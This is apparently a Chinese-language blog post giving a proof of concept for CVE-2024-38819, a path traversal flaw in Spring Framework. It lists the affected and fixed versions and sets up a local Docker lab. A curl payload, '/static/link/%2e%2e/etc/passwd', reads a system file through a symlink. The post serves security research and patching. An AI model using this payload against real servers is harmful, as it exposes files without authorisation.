CVE-2024-38819 POC Spring路径遍历漏洞

CVE-2024-38819 POC Spring路径遍历漏洞

漏洞描述

通过功能性 Web 框架 WebMvc.fn 或 WebFlux.fn 提供静态资源的应用程序容易受到路径遍历攻击。攻击者可以编写恶意 HTTP 请求并获取文件系统上任何可由 Spring 应用程序正在运行的进程访问的文件。

这与 CVE-2024-38816 类似,但输入不同。

受影响的 Spring 产品和版本

Spring Framework:

  • 5.3.0 – 5.3.40
  • 6.0.0 – 6.0.24
  • 6.1.0 – 6.1.13
  • 较旧的、不受支持的版本也受到影响

修复措施

受影响版本的用户应升级到相应的修复版本。

受影响的版本修复版本可用性
5.3.x5.3.41商业的
6.0.x6.0.25商业的
6.1.x6.1.14开源软件

无需采取进一步的缓解措施。

CVE-2024-38819 POC

CVE-2024-38819 POC Spring路径遍历漏洞

执行步骤

  • 构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
  • 运行容器并向主机公开 8080 端口
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
  • 运行以下命令执行PoC并确认漏洞
curl http://localhost:8080/static/link/%2e%2e/etc/passwd

如果攻击成功,/etc/passwd则会显示文件的内容。

    解释

    使用以下代码创建以使用和PathTraversalDemoApplication.java设置静态文件路由:

      public RouterFunction<ServerResponse> staticResourceRouter() {
          return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
      }

      将以下命令添加到 Dockerfile 以创建符号链接:

        RUN ln -s /static /app/static/link

        创建一个利用百分比编码通过符号链接遍历目录的有效负载。

        • 路径:/static/link/%2e%2e/etc/passwd
          使用以下curl命令执行PoC,验证攻击是否成功:
          curl http://localhost:8080/static/link/%2e%2e/etc/passwd 

          如果攻击成功,/etc/passwd则会显示文件的内容。

            免责声明

            此 PoC 仅用于教育和安全研究目的。在实际系统中使用此 PoC 之前,请确保漏洞已修复并且您已获得适当的授权。作者对任何滥用此代码的行为概不负责。

            Leave a Reply

            您的邮箱地址不会被公开。 必填项已用 * 标注